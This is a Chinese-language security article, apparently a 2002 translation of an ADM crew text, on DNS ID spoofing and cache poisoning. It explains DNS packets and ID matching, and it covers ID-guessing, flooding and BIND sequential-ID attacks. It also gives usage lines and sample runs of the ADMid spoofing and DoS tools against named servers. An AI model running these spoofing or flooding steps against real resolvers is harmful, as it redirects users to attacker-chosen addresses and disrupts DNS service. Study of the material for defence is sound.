GB | BIG5
|
| 首頁 > 安全技術 > 系統 > 正文 |
 |
| DNS ID Hacking |
| 本文出自:http://www.xfocus.org 作者: quack(quack@hack.co.za) (2002-12-11 06:02:01) |
參考資料:DNS ID Hacking by ADM crew
一、關DNS ID Hacking的一些描述
你可能會對DNS ID Hacking\spoofing的含義有些迷惑,它與一般直接攻擊一樣,只
不過利用的是DNS協議上的漏洞,並且可能有較大的普遍性及傷害作用好象沒什
DNS服務器能夠逃過它甚至WINNT。
1、DNS協議機制簡述
首先我們來看看DNS是如何工作的,我將在這裡說明這一協議中相對重要的一些部份。
為了更好的敘述,我們先用一個實例來看一看一個DNS請求的信息包是如何在網絡裡
傳送的吧。
1.1 : 客戶機(bla.bibi.com)發送一個請求要求解析域名"www.heike.com",bla.bibi.com
的DNS是ns.bibi.com這台機器,現在我們看看下圖吧:
/---------------------------------\
| 111.1.2.123 = bla.bibi.com |
| 111.1.2.222 = ns.bibi.com |
| 格式: |
| IP_ADDR:PORT->IP_ADDR:PORT |
| 示例: |
| 111.1.2.123:2999->111.1.2.222:53|
\---------------------------------/
這圖是我們要分析的情況的示意,應該很清楚了,好,那就看看gethostbyname是如何
工作的:
....
gethosbyname("www.heike.com");
....
[bla.bibi.com] [ns.bibi.com]
111.1.2.123:1999 --->[?www.heike.com]------> 111.1.2.222:53
這裡我們可以看到這個名字請求從bla.bibi.com的1999端口(隨機選擇)發送到了dns
機器的53端口DNS的綁定端口。
dns.bibi.com收到這個解析的請求,就開始了它的工作了……
[ns.bibi.com] [ns.internic.net]
111.1.2.222:53 -------->[dns?www.heike.com]----> 198.41.0.4:53
它先問ns.internic.net哪台機器是www.heike.com的主名稱服務器,如果沒查到的話
它就把請求發往.com域的權威服務器。在這裡要先問ns.internic.net的原因是,可
能這個域名在它的緩存裡存在著這可以節約時間。
[ns.internic.net] [ns.bibi.com]
198.41.0.4:53 ------>[ns for.com is 144.44.44.4]------> 111.1.2.222:53
這裡ns.internic.net就回答了ns.bibi.com,.com的權威DNS的IP在144.44.44.4,我
們叫它ns.for.com吧,然ns.bibi.com會問ns.for.com關www.heike.com的地址,
仍然沒有找到是又請求heike.com的DNS權威服務器的地址。
[ns.bibi.com] [ns.for.com]
111.1.2.222:53 ------>[?www.heike.com]-----> 144.44.44.4:53
ns.for.com的應答。
[ns.for.com] [ns.bibi.com]
144.44.44.4:53 ------>[ns for heike.com is 31.33.7.4]---> 144.44.44.4:53
現在我們知道了管heike.com域的權威服務器的IP地址了,姑且稱之為ns.heike.com
吧,我們可以問它www.hieke.com的IP地址了;)
[ns.bibi.com] [ns.heike.com]
111.1.2.222:53 ----->[?www.heike.com]----> 31.33.7.4:53
現在我們得到了www.heike.com的IP嘍!
[ns.heike.com] [ns.bibi.com]
31.33.7.4:53 ------->[www.heike.com == 31.33.7.44] ----> 111.1.2.222:53
ns.bibi.com把它轉發給剛才發送請求的機器bla.bibi.com
[ns.bibi.com] [bla.bibi.com]
111.1.2.222:53 ------->[www.heike.com == 31.33.7.44]----> 111.1.2.123:1999
呵呵,現在bla.bibi.com就曉得www.heike.com的IP地址了 :)
好了,現在我們假想另一種情況吧,我們希望通過機器的IP來得到它的域名,為了做
到這點,我們做的是所謂的"指針查詢"。由DNS樹中名字是從底向上寫的,所以我們
要做如下的一個轉換:
示例:
100.20.40.3將被表示為3.40.20.100.in-addr.arpa
這種方式僅用DNS的IP解析請求。
現在來看看我們通過31.33.7.44(www.heike.com)的IP來查詢它的域名的過程吧,或者
說是通過44.7.33.31.in-addr.arpa來查詢它的域名的過程;)
....
gethostbyaddr("31.33.7.44");
....
[bla.bibi.com] [ns.bibi.com]
111.1.2.123:2600 ----->[?44.7.33.31.in-addr.arpa]-----> 111.1.2.222:53
我們發送請求到ns.bibi.com
[ns.bibi.com] [ns.internic.net]
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 198.41.0.4:53
ns.internic.net將會把認証該IP的地址'31.in-addr.arpa'返回給請求者
[ns.internic.net] [ns.bibi.com]
198.41.0.4:53 --> [DNS for 31.in-addr.arpa is 144.44.44.4] -> 111.1.2.222:53
現在ns.bibi.com向144.44.44.4問同樣的問題
[ns.bibi.com] [ns.for.com]
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 144.44.44.4:53
如此循環,其實這種方式與gethostbyname沒有什兩樣……
我希望你能理解上述的DNS對話,現在我們開始進一步了解DNS報文的格式吧。
1.2 : DNS報文
這裡是DNS報文的大致格式 :
+---------------------------+---------------------------+
| 標識 (最重要的 :) | 參數 |
+---------------------------+---------------------------+
| 問題數 | 回答數 |
+---------------------------+---------------------------+
| 管理機構數 | 附加信息數 |
+---------------------------+---------------------------+
| |
\ \
\ 問題 \
| |
+-------------------------------------------------------+
| |
\ \
\ 回答 \
| |
+-------------------------------------------------------+
| |
\ \
\ 附加信息(無關緊要) \
| |
+-------------------------------------------------------+
1.3 : DNS報文結構
標識(id)
這是用來鑒証每個DNS報文的印記,由客戶端設置,由服務器返回,它可以讓客戶匹
配請求與響應。面我們將更詳細地提到……
參數(flags)
參數域被分成好幾個部份 :
4 位 3 位,總是0
| |
| |
[QR | opcode | AA| TC| RD| RA | zero | rcode ]
|
| |__|__|__| |______ 4 位
| |_ 1 位
|
1 位
QR = 如果QR位設為0表示報為是查詢,如果1則是響應
opcode = 通常是0,指標準查詢,1是反向查詢,2是服務器狀態查詢。
AA = 如果此位為1,表示服務器對問題部份的回答是權威性的。
TC = 截斷,如果UDP包超過512字節將被截流
RD = 表示希望遞歸,如果它設為1的話,表示遞歸查詢。
RA = 如果設為1,表示遞歸可用。
Zero = 如它的名稱一樣,總是0
rcode = 就象errno一樣,0表示沒有錯誤,3表示名字錯誤。
DNS查詢報文:
下面是DNS報文查詢的格式 :
+-----------------------------------------------------------------------+
| 查詢名 |
+-----------------------------------------------------------------------+
| 查詢類型 | 查詢類 |
+--------------------------------+--------------------------------------+
一個報文查詢的結構是下面這樣的
示例:
www.heike.com是[3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]
對IP地址來說,也是同樣的;)
44.33.88.123.in-addr.arpa是:
[2|4|4|2|3|3|2|8|8|3|1|2|3|7|i|n|-|a|d|d|r|4|a|r|p|a|0]
還有一種壓縮格式,但我們不需要用到,就略過了。
查詢類型:
這裡是一些我們最經常用到的查詢類型這些類型大約有20種不同的類型,我可懶
得全部列出來了;)
名稱 值
A | 1 | IP地址 (將域名解析為IP)
PTR | 12 | 指針 (將IP解析為域名)
DNS響應報文:
響應報文有個共同的格式,我們稱之為資源記錄RR
下面是響應報文的格式(RR)
+------------------------------------------------------------------------+
| 域名 |
+------------------------------------------------------------------------+
| 類型 | 類 |
+----------------------------------+-------------------------------------+
| TTL (生存時間) |
+------------------------------------------------------------------------+
| 資源數據長度 | |
|----------------------------+ |
| 資源數據 |
+-------------------------------------------------------------------------
域名 :
域名是與下面的資源數據對應的名字,它的格式同前面講到的查詢名一樣,比如還是
www.heike.com吧,它的域名是用下面方式表現的:[3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]
類型 :
類型標識了RR類型代碼號,它同前面講到的查詢類值一樣。
類 :
通常為1,表示因特網數據。
生存時間:
表示客戶方將RR放在高速緩存裡的時間,RRs的TTL通常為2天。
資源數據長度 :
標識資源數據的大小。
下面我們將用一個簡單的例子來幫助大家理解:
這個例子展示了當ns.bibi.com向ns.heike.com詢問www.heike.com地址時,這些數據
報文的模樣。
ns.bibi.com:53 ---> [?www.heike.com] ----> ns.heike.com:53 (Phear Heike ;)
+---------------------------------+--------------------------------------+
| 標識(ID) = 1999 | QR = 0 opcode = 0 RD = 1 |
+---------------------------------+--------------------------------------+
| 問題數 = htons(1) | 回答數 = 0 |
+---------------------------------+--------------------------------------+
| 管理機構數 = 0 | 附加信息數 = 0 |
+---------------------------------+--------------------------------------+
<問題部份>
+------------------------------------------------------------------------+
| 查詢名 = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] |
+------------------------------------------------------------------------+
| 查詢類型 = htons(1) | 查詢類=htons(1) |
+---------------------------------+--------------------------------------+
上面是查詢報文
現在我們來看看ns.heike.com的回答
ns.heike.com:53 -->[IP of www.heike.com is 31.33.7.44] --> ns.bibi.com:53
+---------------------------------+---------------------------------------+
| 標識(ID) = 1999 | QR=1 opcode=0 RD=1 AA =1 RA=1 |
+---------------------------------+---------------------------------------+
| 問題數 = htons(1) | 回答數 = htons(1) |
+---------------------------------+---------------------------------------+
| 管理機構數 = 0 | 附加信息數 = 0 |
+---------------------------------+---------------------------------------+
+-------------------------------------------------------------------------+
| 查詢名 = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] |
+-------------------------------------------------------------------------+
| 查詢類型 = htons(1) | 查詢類 = htons(1) |
+-------------------------------------------------------------------------+
+-------------------------------------------------------------------------+
| 查詢名 = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] |
+-------------------------------------------------------------------------+
| 類型 = htons(1) | 類 = htons(1) |
+-------------------------------------------------------------------------+
| time to live = 999999 |
+-------------------------------------------------------------------------+
| 資源數據長度 = htons(4) | 資源數據=inet_addr("31.33.7.44") |
+-------------------------------------------------------------------------+
OK,就這多了;)
分析 :
在應答中QR = 1 是因為它是應答;)
AA = 1 因為名稱服務器是權威服務器
RA = 1 是因為遞歸是可用的
好了,我希望你能理解上面所說的一切,下面要進行的攻擊裡要用到上面的理論的。
二、DNS ID的攻擊及欺騙
現在是我們來更詳細解釋什是DNS ID攻擊及欺騙的時候的,就象我剛才所說的,DNS
守護進程用來承認/驗証不同的查詢/應答是依靠報文中的標識段(ID),看看下面的例子:
ns.bibi.com;53 ----->[?www.heike.com] ------> ns.heike.com:53
你只需要用假的ns.heike.com進行欺騙,並且在真正的ns.heike.com返回信息
ns.bibi.com之前先給出它所查詢的ip地址。
ns.bibi.com <------- . . . . . . . . . . . ns.heike.com
|
|<--[IP for www.heike.com is 1.2.3.4]<-- hum.roxor.com
圖示很直觀了,就是在ns.heike.com前回答一個偽造信息。但這種方法要實現起來有
一個困難必須偽造ID!也就是說,如果無法判別這個標識符的話,欺騙將無法進
行。如果在局域網上,這很容易實現,只要裝一個sniffer就萬事OK了。
如果要在廣域網上實現它,你並沒有太多的選擇,只有下面四種方式:
1.) 隨機地測試所有ID的可能存在的值。這種辦法比較不實用,除非你希望確切地知
道該ID究竟是多少,或者有一些有利條件可以使其更容易實現。
2.) 發送更多的DNS查詢(200 或者 300) 來提升"碰上"正確ID的機會。
3.) 把DNS服務器給Flood了,這樣它沒辦法提供服務,會出現類似下面的錯誤信息:
>> Oct 06 05:18:12 ADM named[1913]: db_free: DB_F_ACTIVE set - ABORT
at this time named daemon is out of order :)
4.) 你可以利用由SNI (SecureNetworks, Inc.)發現的BIND漏洞關泄漏洞ID的,
面我們將對其做更進一步討論。
##################### Windows ID 漏洞 ###########################
在windows95裡有一個嚴重的ID漏洞,它的ID在默認情況下總是1;),如果有第二個查詢的話
,那
就設為2(這種情況只出現兩個查詢在同一時間發生)。
######################## BIND 漏洞 ##############################
DNS使用的是隨機的ID,但它有一個特點就是它總是在下一個質詢中給ID+1……
對它的這個特性,我們可以很容易地用以下方法來利用:
1. 我們可以sniff一個DNS,截斷入境的DNS查詢,這裡ns.dede.com是我們的目標DNS。
2. 你向NS.victim.com要求解析random.dede.com,是NS.victim.com會向ns.dede.com要求
解析random.dede.com。
ns.victim.com ---> [?(rand).dede.com ID = 444] ---> ns.dede.com
3. 現在你知道了來自NS.victim.com的ID號了,在本例中ID是444。
4. 然你發出你的查詢請求比如www.microsoft.com到NS.victim.com
(you) ---> [?www.microsoft.com] ---> ns.victim.com
ns.victim.com --> [?www.microsoft.com ID = 446 ] --> ns.microsoft.com
5. 用ID號為444的信息包Flood ns.victim.com這台DNS當然這就是你想完成的破壞了;)
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 444] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 445] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 446] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 447] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 448] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 449] --> ns.victim.com
*** ADMsnOOfID這個工具就是幹這事的;)
還有另一個辦法也是幹這個活的,你不需要是DNS的root。
它的機制也是相當簡單的,介紹如下:
我們要求ns.victim.com解析*.provnet.fr
(you) ----------[?(random).provnet.fr] -------> ns.victim.com
這時ns.victim.com向ns1.provnet.fr要求解析random.provnet.fr,這很正常,有趣的
事情在面。
從這時開始,你用偽造的信息(用ns1.provnet.fr的IP)來flood那台叫ns.victim.com的DNS,
ID從100到110。
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=100] --> ns.victim.com
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=101] --> ns.victim.com
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=102] --> ns.victim.com
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=103] --> ns.victim.com
......
然我們可以再詢問ns.victim.com那台random.provent.fr的IP。
如果ns.victim.com回復了random.provnet.fr的IP,我們就能夠找出當前正確的ID了,否則
我
再重復這一過程直到成功這可能會花費比較長的時間,但它是有效的。
ADMnOg00d做的就是這事;)
三、ADMid工具包介紹
工具包裡包含5個小工具(我並沒有測試過,不知效果如何)
ADMkillDNS - 非常簡單的DNS欺騙工具
ADMsniffID - sniff一個局域網並且在NS之前回復DNS查詢
ADMsnOOfID - DNS ID欺騙工具(你必需是一台NS的root)
ADMnOg00d - DNS ID欺騙工具(不需要是NS的root)
ADNdnsfuckr - 一個簡單的對付DNS的DOS工具
1: ADMdnsfuckr
ADMdnsfuckr是一個破壞DNS的工具.
它的使用非常簡單 !!! :)
usage:
ADMdnsfuckr <victim>
ex: ADMdnsfuckr bob.lenet.fr
2: ADMsniffID
ADMsniffID 是一個hijacker ..
usage:
ADMsniffID <device> <spoof IP> <spoof NAME> [type 1 or 12 ]
type為1表示TYPE是A , 12則表示TYPE是 PTR
ex:
ADMsniffID eth0 31.3.3.7 www.i.m.mucho.horny.ya 12 ( we hijack TYPE PTR )
[root@ADM root]#nslookup 1.2.3.4
Server: localhost
Address: 127.0.0.1
Name: www.i.m.mucho.horny.ya
Address: 1.2.3.4
3: --= ADMsnOOfID =--
usage:
ADMsnOOfID <device to spoof> <NS victim> <your domain> <ip of your dns>
<type (1,12)> <spoof name> <spoof ip> <ns with auth on spoof ip or name>
ex:
ADMsnOOfID ppp0 NS2.MCI.NET janova.org shok.janova.org 12
www.i.m.ereet.ya 194.206.23.123 ns2.provnet.fr ..
然你可以看看結果如何;)
[root@ADM root]#nslookup 194.206.23.123 ns2.mci.net
Server: ns2.mci.net
Address: 204.70.57.242
Name: www.i.m.ereet.ya
Address: 194.206.23.123
[root@ADM root]#
我們使用ns2.provnet.fr是因為ns2.provnet.fr對194.206.23.*提供認証。
要找出誰對194.206.23.*提供認証,你可以:
[root@ADM root]#host -t NS 23.206.194.in-addr.arpa
23.206.194.in-addr.arpa name server NS2.PROVNET.FR
23.206.194.in-addr.arpa name server BOW.RAIN.FR
23.206.194.in-addr.arpa name server NS1.PROVNET.FR
[root@ADM root]#
要找出對*.provnet.fr進行認証的NS,可以:
[root@ADM root]#host -t NS provnet.fr
provnet.fr name server NS1.provnet.fr
provnet.fr name server BOW.RAIN.fr
provnet.fr name server NS2.provnet.fr
[root@ADM root]#
Note: 這可能會改變!!! 所以你可以在對NS1先欺騙一把再對NS2做同樣的事;)確保無誤,安
全第一:)
這裡舉另一個例子,spoof type是1的
ADMsnOOfID ppp0 ns.mci.net janova.org shok.janova.org 1 wwwkewlya.provnet.fr
31.3.3.7 ns1.provnet.fr
然……
[root@ADM root]#nslookup wwwkewlya.provnet.fr ns.mci.net
Server: ns.mci.net
Address: 204.70.128.1
Non-authoritative answer:
Name: wwwkewlya.provnet.fr
Address: 31.3.3.7
[root@ADM root]#
Ok 這就是 ADMsnOOfID 的用法了 :)
4: ADMnOg00d
你不需要對某台DNS的控制權了……
usage:
ADMnoG00D <your ip> <dns trust> <domaine trust> <ip victim> <TYPE> <spoof
name> <spoof ip> <ns.trust.for.the.spoof> [ID]
ex:
ADMnOg00d ppp45.somewhere.net ns1.provnet.fr provnet.fr taz.cyberstation.fr 12
PheAr.ADM.n0.g00d
194.206.23.144 ns2.provnet.fr 7000
(我從ID 7000開始,因為我確切地知道當前taz.cyberstation.fr的ID)
當找到ID,真正的spoof就開始了,現在我們看看……
[root@shok root1]# nslookup 194.206.23.144 taz.cyberstation.fr
Server: taz.cyberstation.fr
Address: 194.98.136.1
Name: PheAr.ADM.n0.g00d
Address: 194.206.23.144
再提供一個spoof type 是1 的例子吧
ADMnOg00d ppp45.somewhere.net ns1.provnet.fr provnet.fr taz.cyberstation.fr 1
w00c0w.provnet.fr 2.6.0.0 ns1.provnet.fr 7000
一會兒之……
nslookup w00c0w.provnet.fr taz.cyberstation.fr
...
Server: taz.cyberstation.fr
Address: 194.98.136.1
Non-authoritative answer:
Name: w00c0w.provnet.fr
Address: 2.6.0.0
(http://www.fanqiang.com)
進入【UNIX論壇】
|
|
| 相關文章 |
|
|
|
|
 |
★ 樊強制作 歡迎分享 ★ |